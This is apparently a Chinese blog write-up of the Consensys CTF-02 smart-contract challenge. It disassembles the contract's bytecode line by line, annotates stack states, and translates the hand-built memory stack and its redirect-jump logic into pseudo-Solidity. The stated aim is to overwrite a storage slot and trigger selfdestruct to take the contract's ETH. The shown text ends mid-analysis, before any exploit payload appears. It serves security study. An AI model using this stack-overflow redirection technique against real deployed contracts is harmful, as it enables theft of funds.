前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Consensys CTF-02 栈溢出重定向利用

Consensys CTF-02 栈溢出重定向利用

作者头像
Tiny熊
发布2021-07-14 15:12:51
5520
发布2021-07-14 15:12:51
举报
文章被收录于专栏:深入浅出区块链技术

Consensys CTF-02 栈溢出重定向利用

基于 samczsun 的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。

谢绝转载!!!

问题描述:

这是 Consensys 在 2019 年推出的有奖竞猜系列 2, 比之前的 CTF-01“_以太坊沙盒_[1]”要难上不少。这个 CTF 中跟上篇文章[2]一样也是没有公开源码,甚至于现在 Etherscan 上都找不到对应的合约。当然他的合约地址在0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87[3] 。本 CTF 的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的 ETH。是不是听起来很简单呢?:smile:

OPCODE 代码复原:

:point_right: 首先是借助于工具,拿到该合约的 bytecode 码,和机器翻译的 solidity 代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87

image20210619194447400.png

从工具上可以看到,存在 5 个公开的函数,和两个全局变量:get 占据 slot0 和 die 占据 slot1。

首先看函数:die()

代码语言:javascript
复制
function die() public payable {
    require(msg.sender == _die);
    selfdestruct(_die);
}

可以看到这应该是我们最后要取得该题解答的函数,只要保证msg.sender == die即可通过selfdestruct(_dit)拿到所有的 ETH,从而解答该题。看起来好像很简单的样子哦:laughing:

再看函数:get()

代码语言:javascript
复制
function get() public {
    require(msg.sender != _get);
    return _get;
}

这个 get 函数应该是用来返回 slot0 的值的,看起来也很简单:smiley:

在分析函数:set(uint256 varg0)

代码语言:javascript
复制
function set(uint256 varg0) public payable {
    0xe8();
    v0, v1 = 0xb4();
    MEM[MEM[256] + 32] = 836;
    MEM[MEM[256] + 32 + 32] = varg0;
    MEM[MEM[256] + 32 + 32 + 32] = 0;
    STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32];
    MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32;
    MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32];
}

如果仅仅看翻译过来的solidity代码,可以看到有一个给STORAGE赋值的操作,也许我们可以利用它,来将我们的msg.sender地址赋值给到die

在这里,我们需要分析下 OPCODE 代码,来接触到本题的核心——手动构建的栈

这里我们将逐行手动标记 OPCODE 的执行栈空间,来分析该set(uint256)函数. 函数签名为:60fe47b1

代码语言:javascript
复制
首先是函数选择器部分
0x0: PUSH3     0x100000		0x10000
0x4: PUSH1     0x40			0x10000 0x40
0x6: MSTORE
0x7: PUSH1     0x4			0x4
0x9: CALLDATASIZE			0x24
0xa: LT        				0x0
0xb: PUSH2     0x68			0x0 0x68
0xe: JUMPI
0xf: PUSH1     0x0			0x0
0x11: CALLDATALOAD			0x60fe47b1...
0x12: PUSH29    0x100000000000000000000000000000000000000000000000000000000 	0x60fe47b1... 0x100...
0x30: SWAP1     			0x100..	0x60fe47b1...
0x31: DIV       			0x60fe47b1
0x32: PUSH4     0xffffffff	 0x60fe47b1 0xffffffff
0x37: AND       			0x60fe47b1
0x38: DUP1      			0x60fe47b1 0x60fe47b1
0x39: PUSH4     0x7909947a
0x3e: EQ
0x3f: PUSH2     0x23a
0x42: JUMPI
0x43: DUP1
0x44: PUSH4     0x60fe47b1	0x60fe47b1 0x60fe47b1 0x60fe47b1
0x49: EQ        			0x60fe47b1 0x1
0x4a: PUSH2     0x30f		0x60fe47b1 0x1 0x30f
0x4d: JUMPI     			0x60fe47b1

函数选择器首先是拿到了函数签名,然后与合约中 public,external 的函数签名进行比对,EQ 返回 1 后,再跳转到对应的函数 wrapper 中。下面我们看线函数包装器中是怎么样的逻辑

代码语言:javascript
复制
这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图
再没有具体跳进去看每一个函数前,假设函数不影响栈结构
0x30f: JUMPDEST  			0x60fe47b1
0x310: PUSH2     0x317		0x60fe47b1 0x317
0x313: PUSH2     0xe8		0x60fe47b1 0x317 0xe8
0x316: JUMP      			0x60fe47b1 0x317
0x317: JUMPDEST  			0x60fe47b1
0x318: PUSH2     0x31f		0x60fe47b1 0x31f
0x31b: PUSH2     0xb4		0x60fe47b1 0x31f 0xb4
0x31e: JUMP      			0x60fe47b1 0x31f
0x31f: JUMPDEST  			0x60fe47b1
0x320: PUSH2     0x32a		0x60fe47b1 0x32a
0x323: PUSH2     0x344		0x60fe47b1 0x32a 0x344
0x326: PUSH2     0x8c		0x60fe47b1 0x32a 0x344 0x8c
0x329: JUMP      			0x60fe47b1 0x32a 0x344
0x32a: JUMPDEST  			0x60fe47b1
0x32b: PUSH2     0x335		0x60fe47b1 0x335
0x32e: PUSH1     0x4		0x60fe47b1 0x335 0x4
0x330: CALLDATALOAD			0x60fe47b1 0x335 Id[4:36]
0x331: PUSH2     0x8c		0x60fe47b1 0x335 Id[4:36] 0x8c
0x334: JUMP      			0x60fe47b1 0x335 Id[4:36]
0x335: JUMPDEST  			0x60fe47b1
0x336: PUSH2     0x33f		0x60fe47b1 0x33f
0x339: PUSH1     0x0		0x60fe47b1 0x33f 0x0
0x33b: PUSH2     0x8c		0x60fe47b1 0x33f 0x0 0x8c
0x33e: JUMP      			0x60fe47b1 0x33f 0x0
0x33f: JUMPDEST  			0x60fe47b1
0x340: PUSH2     0x2ea		0x60fe47b1 0x2ea
0x343: JUMP      			0x60fe47b1
0x344: JUMPDEST  			0x60fe47b1
0x345: PUSH1     0x0
0x347: PUSH1     0x0
0x349: RETURN

=> 翻译一下
function set(uint256 value) public nonPayable{
	push_stack_frame();
	uint redirectTo = 0x344;
	push_stack(redirectTo);
	uint256 newStackPointer;
	assembly{
		newStackPointer := calldataload(0x04)
	}
	push_stack(newStackPointer);
	push_stack(0x00);
	set_impl();
}
代码语言:javascript
复制
classDiagram
      start --|> 0xe8
      0xe8 --|> 0xb4
      0xb4 --|> 0x8c_0x344
      0x8c_0x344 --|> 0x8c_CALLDATALOAD
      0x8c_CALLDATALOAD --|> 0x8c_0x00
      0x8c_0x00 --|> 0x2ea


      class start {
      	0x30f JUMDEST
      }

      class 0x8c_0x344{
		0x329 IN
		0x32A OUT
      }
      class 0x8c_CALLDATALOAD{
		0x331 IN
		0x335 OUT
      }
      class 0x8c_0x00{
		0x33E IN
		0x33F OUT
      }
      class 0xb4{
      	0x31E IN
      	0x31F OUT
      }
      class 0xe8{
          0x316 IN
          0x317 OUT
      }
      class 0x2ea{
          0x343 IN
      }

拿到函数 wrapper 时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。

首先是 0x30f 为进入点,先调用 0xe8, 然后返回到 0x317, 再依次调用 0xb4, 返回到 0x31f, 再调用 0x8c, 带参数 0x344,返回到 0x32a, 在调用一次 0x8c, 带参数为 CALLDATALOAD(0x4), 返回到 0x335, 再调用 0x8c, 带参数 0x0, 返回到 0x33f, 然后调用 0x2ea 函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry:

:fish: 首先看 0xe8

简单说是判断该函数是否是 Payable,如果不是 Payable, 则如果函数调用时传送了 ETH,流程就会回退。

代码语言:javascript
复制
0xe8: JUMPDEST     		0x60fe47b1 0x317
0xe9: CALLVALUE 		0x60fe47b1 0x317 0x0
0xea: ISZERO    		0x60fe47b1 0x317 0x01
0xeb: PUSH2     0xc1	0x60fe47b1 0x317 0x01 0xc1
0xee: JUMPI     		0x60fe47b1 0x317

0xc1: JUMPDEST  		0x60fe47b1 0x317
0xc2: JUMP   			0x60fe47b1

=> 翻译成solidity
modifier nonPayable() {
	require(msg.value == 0);
	_;
}
:fish:我们再看 0xb4

可以看到其在内部调用了 0x8c, 然后返回到 0xbf 处. 简单说作用是把当前内存地址为 100 的值放入手动构建的栈里

代码语言:javascript
复制
0xb4: JUMPDEST  			0x60fe47b1 0x31f
0xb5: PUSH2     0xbf		0x60fe47b1 0x31f 0xbf
0xb8: PUSH2     0x100		0x60fe47b1 0x31f 0xbf 0x100
0xbb: MLOAD     			0x60fe47b1 0x31f 0xbf M[100]
0xbc: PUSH2     0x8c		0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xbf: JUMPDEST  			0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xc0: JUMP      			0x60fe47b1 0x31f 0xbf M[100]
此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下:
0xbf: JUMPDEST  			0x60fe47b1 0x31f
0xc0: JUMP      			0x60fe47b1

=> 翻译成solidity
function push_stack_frame() private {
	uint256 value;
	assembly{
		value := mload(0x100)
	}
	push_stack(value)
}
:fish:接下来的是 0x8c

从上面的分析可以看出,该函数有一个参数,返回值为 0. 简单来讲是再内存中手动构建一个栈,每次 push 一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是 32 位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。

代码语言:javascript
复制
0x8c: JUMPDEST  			0x60fe47b1 backpointer value
0x8d: PUSH1     0x20		0x60fe47b1 backpointer value 0x20
0x8f: PUSH2     0x100		0x60fe47b1 backpointer value 0x20 0x100
0x92: MLOAD     			0x60fe47b1 backpointer value 0x20 M[100]
0x93: ADD       			0x60fe47b1 backpointer value M[100]+0x20
0x94: DUP1      			0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20
0x95: PUSH2     0x100		0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100
0x98: MSTORE    			0x60fe47b1 backpointer value M[100]+0x20
0x99: MSTORE    			0x60fe47b1 backpointer
0x9a: JUMP    				0x60fe47b1

=> 翻译一下
function push_stack(uint256 value) private {
	uint temp;
	assembly{
		temp := mload(0x100)
		mstore(add(temp, 0x20), value)
		mstore(0x100, add(temp, 0x20))
	}
}
:fish:接下来是 0x2ea

这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的OPCODE``: SSTORE, 这是我们最关心的。因为我们需要更改 slot1 的值,以便于获取该合约的所有 Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测 0x9b 不需要参数,但返回 1 个值到栈里,0xc3 也不需要参数

代码语言:javascript
复制
0x2ea: JUMPDEST  			0x60fe47b1
0x2eb: PUSH1     0x20		0x60fe47b1 0x20
0x2ed: PUSH2     0x100		0x60fe47b1 0x20 0x100
0x2f0: MLOAD     			0x60fe47b1 0x20 M[100]
0x2f1: SUB       			0x60fe47b1 M[100]-0x20
0x2f2: MLOAD     			0x60fe47b1 M[M[100]-0x20]
0x2f3: PUSH2     0x100		0x60fe47b1 M[M[100]-0x20] 0x100
0x2f6: MLOAD				0x60fe47b1 M[M[100]-0x20] M[100]
0x2f7: MLOAD     			0x60fe47b1 M[M[100]-0x20] M[M[100]]
0x2f8: SSTORE    			0x60fe47b1
0x2f9: PUSH2     0x300		0x60fe47b1 0x300
0x2fc: PUSH2     0x9b		0x60fe47b1 0x300 0x9b
0x2ff: JUMP      			0x60fe47b1 0x300
0x300: JUMPDEST  			0x60fe47b1 returnValue
0x301: POP       			0x60fe47b1
0x302: PUSH2     0x309		0x60fe47b1 0x309
0x305: PUSH2     0x9b		0x60fe47b1 0x309 0x9b
0x308: JUMP      			0x60fe47b1 0x309
0x309: JUMPDEST  			0x60fe47b1 returnValue
0x30a: POP       			0x60fe47b1
0x30b: PUSH2     0xc3		0x60fe47b1 0xc3
0x30e: JUMP      			0x60fe47b1
=> 翻译一下
function set_impl() private{
	uint temp0;
	uint temp1
	assembly{
		temp0 := mload(0x100) //M[100]
		temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
		sstore(mload(temp0), temp1)
	}
	pop_stack();
	pop_stack();
	pop_stack_frame();
}

:duck: 先整体理解下 0x2ea, 它主要将栈顶的值作为键,将栈里第 1 个元素的值作为值,储存再以太坊上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的 Frame。

:fish:先看 0x9b 函数,

简单看是拿到栈顶的元素,然后将栈的指针向下移动 0x20

代码语言:javascript
复制
0x9b: JUMPDEST  			0x60fe47b1 backpointer
0x9c: PUSH2     0x100		0x60fe47b1 backpointer 0x100
0x9f: MLOAD     			0x60fe47b1 backpointer M[100]
0xa0: MLOAD     			0x60fe47b1 backpointer M[M[100]]
0xa1: PUSH1     0x20		0x60fe47b1 backpointer M[M[100]] 0x20
0xa3: PUSH2     0x100		0x60fe47b1 backpointer M[M[100]] 0x20 0x100
0xa6: MLOAD     			0x60fe47b1 backpointer M[M[100]] 0x20 M[100]
0xa7: SUB       			0x60fe47b1 backpointer M[M[100]] M[100]-0x20
0xa8: PUSH2     0x100		0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100
0xab: MSTORE    			0x60fe47b1 backpointer M[M[100]]
0xac: SWAP1     			0x60fe47b1 M[M[100]] backpointer
0xad: JUMP      			0x60fe47b1 M[M[100]]

=> 翻译一下
function pop_stack() private returns (uint256) {
	uint value;
	uint temp;
	assembly{
		temp := mload(0x100)
		value := mload(temp)
		mstore(0x100, sub(temp, 0x20))
	}
	return value;
}
:fish:再看 0xc3 函数,

可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的 STACK 的内存起点

代码语言:javascript
复制
0xc3: JUMPDEST  			0x60fe47b1
0xc4: PUSH2     0xcb		0x60fe47b1 0xcb
0xc7: PUSH2     0x9b		0x60fe47b1 0xcb 0x9b
0xca: JUMP      			0x60fe47b1 0xcb
0xcb: JUMPDEST  			0x60fe47b1 returnValue
0xcc: PUSH2     0xd3		0x60fe47b1 returnValue 0xd3
0xcf: PUSH2     0x9b		0x60fe47b1 returnValue 0xd3 0x9b
0xd2: JUMP      			0x60fe47b1 returnValue 0xd3
0xd3: JUMPDEST  			0x60fe47b1 returnValue returnValue2
0xd4: PUSH2     0xdc		0x60fe47b1 returnValue returnValue2 0xdc
0xd7: SWAP1     			0x60fe47b1 returnValue 0xdc	returnValue2
0xd8: PUSH2     0xae		0x60fe47b1 returnValue 0xdc	returnValue2 0xae
0xdb: JUMP      			0x60fe47b1 returnValue 0xdc	returnValue2
0xdc: JUMPDEST  			0x60fe47b1 returnValue
0xdd: JUMP      			0x60fe47b1 J(returnValue)
0xde: JUMPDEST

=> 翻译一下
function pop_stack_frame() private {
	int redirectTo;
	int pointer;
	redirectTo = pop_stack();
	pointer = pop_stack();
	newStackPointer(pointer);
	assembly {
		jump(redirectTo)
	}
}
:fish:我们看 0xae 函数,

这个函数很简单,就是把它的参数赋值到 M[100]中,但意义很重大,意义是定义新的 STACK 的内存起点。因为 STack 的内存起点就是 M[100]

代码语言:javascript
复制
0xae: JUMPDEST  			0x60fe47b1 returnValue 0xdc	returnValue2
0xaf: PUSH2     0x100		0x60fe47b1 returnValue 0xdc	returnValue2 0x100
0xb2: MSTORE    			0x60fe47b1 returnValue 0xdc
0xb3: JUMP   				0x60fe47b1 returnValue
=> 翻译一下
function newStackPointer(uint256 pointer) {
	assembly{
		mstore(0x100, pointer)
	}
}

:rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?set(uint256 varg0)函数到底干了什么

代码语言:javascript
复制
function set(uint256 value) public nonPayable{
	push_stack_frame();
	uint redirectTo = 0x344;
	push_stack(redirectTo);
	push_stack(value);
	push_stack(0x00);
	set_impl();
}
function set_impl() private{
	uint temp0;
	uint temp1
	assembly{
		temp0 := mload(0x100) //M[100]
		temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
		sstore(mload(temp0), temp1)
	}
	pop_stack();
	pop_stack();
	pop_stack_frame();
}
function pop_stack_frame() private {
	int redirectTo;
	int pointer;
	redirectTo = pop_stack();
	pointer = pop_stack();
	newStackPointer(pointer);
	assembly {
		jump(redirectTo)
	}
}
label redirectTo:
    0x344: JUMPDEST
    0x345: PUSH1     0x0
    0x347: PUSH1     0x0
    0x349: RETURN
=> 翻译一下
function set(uint256 value) public nonPayable {
	assembly{
		sstore(0x00, value)
	}
}

:rainbow_flag: 该函数首先是把 frame 压到栈里,再压入后面的 redirectTo 重定向位点压入栈里,再压入栈顶指针,再压入 0x00,后面将栈顶的值作为 key,栈里顺序 1 的元素作为值写到以太坊中。之后弹出栈顶 0x00, 弹出栈顶指针,弹出重定向位点,并保存到 redirecTo 变量中,再弹出 frame,并把 frame 作为新的栈顶指针创建新的栈,最后跳转到重定向位点。

:honey_pot: 分析蜜汁函数 0x7909947a()

可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为:

0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d

代码语言:javascript
复制
0x23a: JUMPDEST  				0x7909947a
0x23b: PUSH2     0x242			0x7909947a 0x242
0x23e: PUSH2     0xde			0x7909947a 0x242
0x241: JUMP						0x7909947a 0x242
0x242: JUMPDEST  				0x7909947a
0x243: PUSH2     0x24c			0x7909947a 0x24c
0x246: PUSH1     0x0			0x7909947a 0x24c 0x0
0x248: PUSH2     0x8c			0x7909947a 0x24c 0x0 0x8c
0x24b: JUMP      				0x7909947a 0x24c 0x0
0x24c: JUMPDEST  				0x7909947a
0x24d: PUSH2     0x100			0x7909947a 0x100
0x250: MLOAD     				0x7909947a M[100]
0x251: PUSH2     0x25a			0x7909947a M[100] 0x25a
0x254: PUSH1     0x0			0x7909947a M[100] 0x25a 0x0
0x256: PUSH2     0x8c			0x7909947a M[100] 0x25a 0x0 0x8c
0x259: JUMP      				0x7909947a M[100] 0x25a 0x0
0x25a: JUMPDEST  				0x7909947a M[100]
0x25b: CALLDATASIZE				0x7909947a M[100] size
0x25c: PUSH1     0x44			0x7909947a M[100] size 0x44
0x25e: PUSH3     0x90000		0x7909947a M[100] size 0x44 0x90000
0x262: CALLDATACOPY				0x7909947a M[100]
0x263: PUSH2     0x26a			0x7909947a M[100] 0x26a
0x266: PUSH2     0xb4			0x7909947a M[100] 0x26a 0xb4
0x269: JUMP      				0x7909947a M[100] 0x26a
0x26a: JUMPDEST  				0x7909947a M[100]
0x26b: PUSH2     0x275			0x7909947a M[100] 0x275
0x26e: PUSH2     0x29b			0x7909947a M[100] 0x275 0x29b
0x271: PUSH2     0x8c			0x7909947a M[100] 0x275 0x29b 0x8c
0x274: JUMP      				0x7909947a M[100] 0x275 0x29b
0x275: JUMPDEST  				0x7909947a M[100]
0x276: PUSH2     0x281			0x7909947a M[100] 0x281
0x279: PUSH3     0x90000		0x7909947a M[100] 0x281 0x90000
0x27d: PUSH2     0x8c			0x7909947a M[100] 0x281 0x90000 0x8c
0x280: JUMP      				0x7909947a M[100] 0x281 0x90000
0x281: JUMPDEST  				0x7909947a M[100]
0x282: PUSH2     0x28a			0x7909947a M[100] 0x28a
0x285: DUP2      				0x7909947a M[100] 0x28a topPointer
0x286: PUSH2     0x8c			0x7909947a M[100] 0x28a topPointer 0x8c
0x289: JUMP      				0x7909947a M[100] 0x28a 0x28a
0x28a: JUMPDEST  				0x7909947a M[100]
0x28b: PUSH2     0x296			0x7909947a M[100] 0x296
0x28e: PUSH1     0x44			0x7909947a M[100] 0x296 0x44
0x290: CALLDATASIZE				0x7909947a M[100] 0x296 0x44 size
0x291: SUB       				0x7909947a M[100] 0x296 size-0x44
0x292: PUSH2     0x8c			0x7909947a M[100] 0x296 size-0x44 0x8c
0x295: JUMP      				0x7909947a M[100] 0x296 size-0x44
0x296: JUMPDEST  				0x7909947a M[100]
0x297: PUSH2     0x15d			0x7909947a M[100] 0x15d
0x29a: JUMP      				0x7909947a M[100]
0x29b: JUMPDEST  				0x7909947a M[100]
0x29c: PUSH2     0x2a3 			0x7909947a M[100] 0x2a3
0x29f: PUSH2     0xb4			0x7909947a M[100] 0x2a3 0xb4
0x2a2: JUMP      				0x7909947a M[100] 0x2a3
0x2a3: JUMPDEST  				0x7909947a M[100]
0x2a4: PUSH2     0x2ae			0x7909947a M[100] 0x2ae
0x2a7: PUSH2     0x2bc			0x7909947a M[100] 0x2ae 0x2bc
0x2aa: PUSH2     0x8c			0x7909947a M[100] 0x2ae 0x2bc 0x8c
0x2ad: JUMP      				0x7909947a M[100] 0x2ae 0x2bc
0x2ae: JUMPDEST  				0x7909947a M[100]
0x2af: PUSH2     0x2b7			0x7909947a M[100] 0x2b7
0x2b2: DUP2      				0x7909947a M[100] 0x2b7 0x2b7
0x2b3: PUSH2     0x8c			0x7909947a M[100] 0x2b7 0x2b7 0x8c
0x2b6: JUMP      				0x7909947a M[100] 0x2b7 0x2b7
0x2b7: JUMPDEST  				0x7909947a M[100]
0x2b8: PUSH2     0xf3			0x7909947a M[100] 0xf3
0x2bb: JUMP      				0x7909947a M[100]

=> 翻译一下
function 0x7909947a() public {
	stack_pointer_init();
	push_stack(0x0);
	uint topPointer;
	assembly{
		topPointer := mload(0x100)
	}
	push_stack(0x0);
	uint size;
	assembly {
		size := calldatasize()
		calldatacopy(0x90000, 0x44, size)
	}
	push_stack_frame();
	uint return_pointer = 0x29b;
	push_stack(return_pointer);
	push_stack(0x90000);
	push_stack(topPointer);
	push_stack(size-0x44);
	0x7909947a_impl();
}
:tropical_fish: 首先是0xde

这里给 0xde 取名叫stack_pointer_init(),原因很简单,因为其作用是初始化内存地址 100 的值为固定值 0x100. 其实作用是初始化内存栈的栈顶。

代码语言:javascript
复制
0xde: JUMPDEST  			0x7909947a backPointer
0xdf: PUSH2     0xe6		0x7909947a backPointer 0xe6
0xe2: PUSH2     0x7c		0x7909947a backPointer 0xe6 0x7c
0xe5: JUMP      			0x7909947a backPointer 0xe6
0xe6: JUMPDEST  			0x7909947a backPointer
0xe7: JUMP					0x7909947a

0x7c: JUMPDEST  			0x7909947a backPointer 0xe6
0x7d: PUSH2     0x100		0x7909947a backPointer 0xe6 0x100
0x80: PUSH2     0x100		0x7909947a backPointer 0xe6 0x100 0x100
0x83: MSTORE    			0x7909947a backPointer 0xe6
0x84: JUMP  				0x7909947a backPointer
=> 翻译一下
function stack_pointer_init() private {
	assembly{
		mstore(0x100, 0x100)
	}
}
:tropical_fish: 再是 0x15d

分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce 跳出循环) -> 0x1e0(循环,0x211 跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3

代码语言:javascript
复制
0x15d: JUMPDEST  				0x7909947a framePointer
0x15e: PUSH2     0x167			0x7909947a framePointer 0x167
0x161: PUSH1     0x0			0x7909947a framePointer 0x167 0x0
0x163: PUSH2     0x8c			0x7909947a framePointer 0x167 0x0 0x8c
0x166: JUMP      				0x7909947a framePointer 0x167 0x0
0x167: JUMPDEST  				0x7909947a framePointer
0x168: JUMPDEST
0x169: PUSH1     0x20			0x7909947a framePointer 0x20
0x16b: PUSH2     0x100			0x7909947a framePointer 0x20 0x100
0x16e: MLOAD     				0x7909947a framePointer 0x20 M[100]
0x16f: SUB       				0x7909947a framePointer M[100]-0x20
0x170: MLOAD     				0x7909947a framePointer M[M[100]-0x20]
0x171: PUSH2     0x100			0x7909947a framePointer M[M[100]-0x20] 0x100
0x174: MLOAD     				0x7909947a framePointer M[M[100]-0x20] M[100]
0x175: MLOAD     				0x7909947a framePointer M[M[100]-0x20] M[M[100]]
0x176: SUB       				0x7909947a framePointer M[M[100]]-M[M[100]-0x20]
0x177: ISZERO    				0x7909947a framePointer nonZero
0x178: PUSH2     0x1ce			0x7909947a framePointer nonZero 0x1ce
0x17b: JUMPI     				0x7909947a framePointer
0x17c: PUSH32    0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10..
0x19d: PUSH2     0x100			0x7909947a framePointer 0x10.. 0x100
0x1a0: MLOAD     				0x7909947a framePointer 0x10.. M[100]
0x1a1: MLOAD     				0x7909947a framePointer 0x10.. M[M[100]]
0x1a2: PUSH1     0x60			0x7909947a framePointer 0x10.. M[M[100]] 0x60
0x1a4: PUSH2     0x100			0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100
0x1a7: MLOAD     				0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100]
0x1a8: SUB       				0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60
0x1a9: MLOAD     				0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60]
0x1aa: ADD       				0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60]
0x1ab: MLOAD     				0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]]
0x1ac: DIV       				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10..
0x1ad: PUSH2     0x100			0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100
0x1b0: MLOAD     				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100]
0x1b1: MLOAD     				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]
0x1b2: PUSH1     0x40			0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40
0x1b4: PUSH2     0x100			0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100
0x1b7: MLOAD     				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100]
0x1b8: SUB       				0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40
0x1b9: MLOAD     		0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40]
0x1ba: ADD       		0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40]
0x1bb: MSTORE8   				0x7909947a framePointer
0x1bc: JUMPDEST  				0x7909947a framePointer
0x1bd: PUSH1     0x1			0x7909947a framePointer 0x1
0x1bf: PUSH2     0x100			0x7909947a framePointer 0x1 0x100
0x1c2: MLOAD     				0x7909947a framePointer 0x1 M[100]
0x1c3: MLOAD     				0x7909947a framePointer 0x1 M[M[100]]
0x1c4: ADD       				0x7909947a framePointer 0x1+M[M[100]]
0x1c5: PUSH2     0x100			0x7909947a framePointer 0x1+M[M[100]] 0x100
0x1c8: MLOAD     				0x7909947a framePointer 0x1+M[M[100]] M[100]
0x1c9: MSTORE    				0x7909947a framePointer
0x1ca: PUSH2     0x168			0x7909947a framePointer 0x168
0x1cd: JUMP      				0x7909947a framePointer
0x1ce: JUMPDEST  				0x7909947a framePointer
0x1cf: PUSH1     0x0			0x7909947a framePointer 0x0
0x1d1: PUSH2     0x100			0x7909947a framePointer 0x0 0x100
0x1d4: MLOAD     				0x7909947a framePointer 0x0 M[100]
0x1d5: MLOAD     				0x7909947a framePointer 0x0 M[M[100]]
0x1d6: PUSH1     0x40			0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1d8: PUSH2     0x100			0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1db: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1dc: SUB       				0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1dd: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1de: ADD       				0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1df: MSTORE8   				0x7909947a framePointer
0x1e0: JUMPDEST  				0x7909947a framePointer
0x1e1: PUSH1     0x40			0x7909947a framePointer 0x40
0x1e3: PUSH2     0x100			0x7909947a framePointer 0x40 0x100
0x1e6: MLOAD     				0x7909947a framePointer 0x40 M[100]
0x1e7: MLOAD     				0x7909947a framePointer 0x40 M[M[100]]
0x1e8: MOD       				0x7909947a framePointer M[M[100]]%0x40
0x1e9: ISZERO    				0x7909947a framePointer nonZero
0x1ea: PUSH2     0x211			0x7909947a framePointer nonZero 0x211
0x1ed: JUMPI     				0x7909947a framePointer
0x1ee: PUSH1     0x0			0x7909947a framePointer 0x0
0x1f0: PUSH2     0x100			0x7909947a framePointer 0x0 0x100
0x1f3: MLOAD     				0x7909947a framePointer 0x0 M[100]
0x1f4: MLOAD     				0x7909947a framePointer 0x0 M[M[100]]
0x1f5: PUSH1     0x40			0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1f7: PUSH2     0x100			0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1fa: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1fb: SUB       				0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1fc: MLOAD     				0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1fd: ADD       				0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1fe: MSTORE8   				0x7909947a framePointer
0x1ff: JUMPDEST  				0x7909947a framePointer
0x200: PUSH1     0x1			0x7909947a framePointer 0x1
0x202: PUSH2     0x100			0x7909947a framePointer 0x1 0x100
0x205: MLOAD     				0x7909947a framePointer 0x1 M[100]
0x206: MLOAD     				0x7909947a framePointer 0x1 M[M[100]]
0x207: ADD       				0x7909947a framePointer 0x1+M[M[100]]
0x208: PUSH2     0x100			0x7909947a framePointer 0x1+M[M[100]] 0x100
